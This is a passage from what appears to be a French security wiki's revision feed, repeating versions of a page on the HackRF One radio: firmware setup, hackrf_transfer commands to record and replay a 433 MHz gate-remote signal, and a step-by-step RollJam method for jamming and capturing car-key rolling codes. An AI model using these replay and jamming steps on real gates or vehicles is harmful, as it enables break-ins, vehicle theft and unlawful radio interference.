=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; installé dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt; a été endommagé ou si vous programmez un &amp;lt;b&amp;gt;HackRF fait maison&amp;lt;/b&amp;gt; pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus.&lt;br /&gt;
&lt;br /&gt;
Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en &amp;lt;b&amp;gt;mode de démarrage DFU&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;DFU Boot&amp;lt;/b&amp;gt;).&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt; dans la &amp;lt;b&amp;gt;mémoire flash SPI&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93562</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93562"/>
		<updated>2023-12-02T15:52:58Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Si nécessaire seulement: Récupération du SPI Flash Firmware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le &amp;lt;b&amp;gt;firmware&amp;lt;/b&amp;gt; installé dans la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt; a été endommagé ou si vous programmez un &amp;lt;b&amp;gt;HackRF fait maison&amp;lt;/b&amp;gt; pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus.&lt;br /&gt;
&lt;br /&gt;
Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93561</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93561"/>
		<updated>2023-12-02T15:52:38Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Si nécessaire seulement: Récupération du SPI Flash Firmware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
